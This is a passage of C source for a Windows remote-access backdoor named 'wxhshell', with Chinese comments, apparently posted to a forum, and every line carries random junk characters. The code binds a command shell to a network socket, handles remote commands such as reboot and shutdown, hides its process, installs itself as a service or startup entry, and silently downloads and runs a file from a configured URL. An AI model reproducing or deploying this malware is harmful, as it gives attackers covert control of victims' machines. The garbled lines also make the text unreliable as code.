  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3a.!9R>  
  } QMz=e  
  else { +T@BOYhgq  
Hp04apM:  
    switch(cmd[0]) { s$isDG#Sr  
  Y&j`HO8f  
  // 帮助 m9A%Z bQ^  
  case '?': { 5RN!"YLI3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mf$YsvPq*+  
    break; >fzyD(>  
  } j!>P7 8  
  // 安装 OyVP_Yx,V  
  case 'i': { Lo1ySLo$G  
    if(Install()) ;W|NG3_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XDJE]2^52?  
    else Ajm!;LA[jO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =DJ:LmK  
    break; 4h@,hY1#  
    } !(F?`([A  
  // 卸载 Hz GwO^tbK  
  case 'r': { (O4oI U  
    if(Uninstall()) '*mZ/O-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWheoyAB  
    else K~vJ/9"|R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e' o2PW  
    break; `6)Qi*Z  
    } %S;AM\o4  
  // 显示 wxhshell 所在路径 olv?$]  
  case 'p': { 0>Snps3*Z  
    char svExeFile[MAX_PATH]; .)b<cH~%  
    strcpy(svExeFile,"\n\r"); Sp5:R75vI  
      strcat(svExeFile,ExeFile); 5m 0\ls\  
        send(wsh,svExeFile,strlen(svExeFile),0); 1#6emMV.`  
    break; Kh\ 7%>K#  
    } UgGa]b[9A  
  // 重启 'wk,t^)  
  case 'b': { ?'6@m86d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I?}jf?!oM  
    if(Boot(REBOOT)) ;,[0bmL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {\D &*  
    else { KJ'ID  
    closesocket(wsh); qx5`lm~L  
    ExitThread(0); i`2SebDj'w  
    } c%/b*nQ(=  
    break; >|A,rE^Ojt  
    } S[3"?$3S  
  // 关机 ]6^<VC`5D  
  case 'd': { {IJ;)<>&VE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "u7[[.P)  
    if(Boot(SHUTDOWN)) GLtd<M"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_ $?b  
    else { n8<?<-2  
    closesocket(wsh); 9)1Ye  
    ExitThread(0); j+gxn_E  
    } c EYHB1*cT  
    break; Gn8 sB  
    } _GG\SWm  
  // 获取shell 9Vm1q!lE  
  case 's': { !6'N-b1  
    CmdShell(wsh); Dhn7N8(LF!  
    closesocket(wsh); nUP, Yd  
    ExitThread(0); d=xjLbsZ  
    break; _J!^iJ  
  } /%&  d:  
  // 退出 dR]-R/1|  
  case 'x': { kP%hgZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >NBc-DX^  
    CloseIt(wsh); 'Nl hLu  
    break; nU>P%|loXx  
    } pNb2t/8%%  
  // 离开 CK7([>2  
  case 'q': { xUdGSr50  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wli cuY?  
    closesocket(wsh); JLE&nbKS  
    WSACleanup(); =Nt HV4=b  
    exit(1); JPqd} :u3  
    break; '|SO7}`;Q  
        } :Ph>\aG  
  } "V>}-G&  
  } [j0[c9.p [  
+=8wZ]  
  // 提示信息 mF;mJq<d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h+1|.d  
} K|Sq_/#+U  
  } *,$5EN  
>8(i;)(3  
  return; 4]U=Y>\Sr  
} _cs(f<>oCO  
_U^[h!  
// shell模块句柄 ~9+01UU^  
int CmdShell(SOCKET sock) d^}p#7mB\  
{ H]/ ~ #a  
STARTUPINFO si; 031"D*W'i  
ZeroMemory(&si,sizeof(si)); {Ge{@1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UN.;w3`Oc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {1Ra |,;  
PROCESS_INFORMATION ProcessInfo; DU%E883  
char cmdline[]="cmd"; z,TH}s6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QXZXj#`  
  return 0; jU&m*0nL  
} f#!+l1GV  
z^QrIl/<c2  
// 自身启动模式 Czjb.c:a.Y  
int StartFromService(void) L\2"1%8Wj  
{ H[~ D]RG}'  
typedef struct f(|k0$EIu  
{ [ey# ,&T  
  DWORD ExitStatus;  `M I;.t  
  DWORD PebBaseAddress; uB  I/3aQ  
  DWORD AffinityMask; !XtG6ON=  
  DWORD BasePriority; r1r$y2v~  
  ULONG UniqueProcessId;  :RnUNz  
  ULONG InheritedFromUniqueProcessId; {6ZSf[Y6B  
}   PROCESS_BASIC_INFORMATION; fY00  
UT\4Xk<  
PROCNTQSIP NtQueryInformationProcess; 0 %~~IT}U  
1cK'B<5">]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q-oDmjU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lJdBUoO  
qk<jvha  
  HANDLE             hProcess; V~dhTdQ5}  
  PROCESS_BASIC_INFORMATION pbi; Am F[#)90P  
r%=-maPL[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v])ew|  
  if(NULL == hInst ) return 0; PMytk`<`zw  
A r!0GwE+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b{<?E };%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lu}jk W*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gQPw+0w  
@U_ CnhPQq  
  if (!NtQueryInformationProcess) return 0; v#Rh:#7O%U  
,\6Vb*G|E>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J#$U<`j*G  
  if(!hProcess) return 0; JVIFpN"`  
j0e,>X8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cy[G7A%  
}b\hRy~=r  
  CloseHandle(hProcess); -0^]:  
e\V -L_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =@!t/LR7kg  
if(hProcess==NULL) return 0; $Lp [i <O]  
u!K1K3T6k  
HMODULE hMod; xF[%R{Mn'  
char procName[255]; hoq2zDjD  
unsigned long cbNeeded; P P J^;s  
PLkS-B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  >:-e  
+4:eb)e  
  CloseHandle(hProcess); E]' f&0s  
1d< b\P0  
if(strstr(procName,"services")) return 1; // 以服务启动 &3t973=  
KUJLx  
  return 0; // 注册表启动 -$:; en?  
} p3A9 <g  
T]%-Ri  
// 主模块 :(A&8<}-6  
int StartWxhshell(LPSTR lpCmdLine) f8;?WSGyD2  
{ @:?[R&`  
  SOCKET wsl; |*c1S -#  
BOOL val=TRUE; }i8y/CA  
  int port=0; _Q1p_sdg  
  struct sockaddr_in door; -FJ3;fP&  
4gen,^Ij  
  if(wscfg.ws_autoins) Install(); F1.Xk1y%  
U 3< 3T  
port=atoi(lpCmdLine); j,.M!q]  
o-@01_j  
if(port<=0) port=wscfg.ws_port; 6Hnez@d  
2p&$bf t  
  WSADATA data; W_}j~[&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?"Ez  
dcY(1p)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a<&K^M&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q KD  
  door.sin_family = AF_INET; A^,E~Z!x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pg8.RvmQ  
  door.sin_port = htons(port); gL_1~"3KGC  
1L!;lP2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r,JQR)l0@V  
closesocket(wsl); u1 Q;M`+>  
return 1; tBGLEeL/.  
} *<sc[..)  
9I/l+IS"X  
  if(listen(wsl,2) == INVALID_SOCKET) { i9L]h69r  
closesocket(wsl); R$awo/'^  
return 1; p9)YRLOh.  
} xfeED^?  
  Wxhshell(wsl); 5.\p]>|G1  
  WSACleanup(); f5*qlQJFz\  
FygNWI'  
return 0; hV(^Y)f  
Aars\   
} *>a=ku:?  
svmb~n&x6  
// 以NT服务方式启动 !+eU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d` ttWWPw  
{ ?XY'<]o E  
DWORD   status = 0; P*!`AWn  
  DWORD   specificError = 0xfffffff; (B4)L%  
2 H%lN`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rj";?.R*e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ];k!*lR)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HX2u{2$  
  serviceStatus.dwWin32ExitCode     = 0; fx|d"VF[  
  serviceStatus.dwServiceSpecificExitCode = 0; :4zu.  
  serviceStatus.dwCheckPoint       = 0;  ijOp{  
  serviceStatus.dwWaitHint       = 0; [QxP9EC  
+A?P4}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lW?}Ts ~'  
  if (hServiceStatusHandle==0) return; q7lC}'2fu  
_G'ki.[S7  
status = GetLastError(); 82@^vX  
  if (status!=NO_ERROR) ?7Cm+J  
{ >>T7;[h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p(pfJ^/:(  
    serviceStatus.dwCheckPoint       = 0; PV#h_X<l%  
    serviceStatus.dwWaitHint       = 0; O(I^:_eH  
    serviceStatus.dwWin32ExitCode     = status; Xr K29a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^<!R%"o-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WkiT,(i  
    return; ^mq(j_E.  
  } -7&ywgxl  
]6M<c[H>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I-^sJ@V;  
  serviceStatus.dwCheckPoint       = 0; oZ*?Uh*  
  serviceStatus.dwWaitHint       = 0; 1|{s8[;8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ML>M:Ik+  
} #; !@Pf  
32K& IfV  
// 处理NT服务事件,比如:启动、停止 FXo.f<U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ex4dhx2M  
{ (W h)Ov"  
switch(fdwControl) {Lal5E4-  
{ ;<0vvP|  
case SERVICE_CONTROL_STOP: Q &W>h/  
  serviceStatus.dwWin32ExitCode = 0; 1\( N,'h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B]tj0FB`-*  
  serviceStatus.dwCheckPoint   = 0; RVA ku  
  serviceStatus.dwWaitHint     = 0; _b<;n|^  
  { ?'~u)O(n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68P'<|u?  
  } (qFZF7(Xa  
  return; Lan|(!aW  
case SERVICE_CONTROL_PAUSE: t)j$lmQn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >0@w"aKn  
  break; ;)h?P.]  
case SERVICE_CONTROL_CONTINUE: :!s7B|_U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s/hgWW$  
  break; #~'d Y\&  
case SERVICE_CONTROL_INTERROGATE: #qVTB@d  
  break; 9@CRL=  
}; 8|@) #:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6MM\nIU)/  
} BR|0uJ.M  
d_we?DZ|  
// 标准应用程序主函数 a_!H_J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N & b3cV  
{ y]t19G+  
JRC2+BU /  
// 获取操作系统版本 w=fWW^>bP  
OsIsNt=GetOsVer(); \2; !}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iA{q$>{8  
*0" ojfVn  
  // 从命令行安装 s``a{ HZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); v_Vw!u  
e'uC:O.u  
  // 下载执行文件 )w4U]inJ$"  
if(wscfg.ws_downexe) { HlX~a:.7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3:xx:Jt  
  WinExec(wscfg.ws_filenam,SW_HIDE); <O=0^V  
} gd * b0(  
^Lb\k|U ,\  
if(!OsIsNt) { DX!dU'tj  
// 如果时win9x,隐藏进程并且设置为注册表启动 gw"SKp!]  
HideProc(); w-JWMgY8w  
StartWxhshell(lpCmdLine); P<X?  
} Khd A;bF  
else *g*"bi*  
  if(StartFromService()) +pgHCzwJE  
  // 以服务方式启动  ^[SW07o~  
  StartServiceCtrlDispatcher(DispatchTable); aPlEM_escS  
else uxn+.fA  
  // 普通方式启动 mC@v,"  
  StartWxhshell(lpCmdLine); H0&wn#);6R  
*~GI-h  
return 0; :ILpf+`yY  
}
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只看该作者 1 发表于: 2006-10-10
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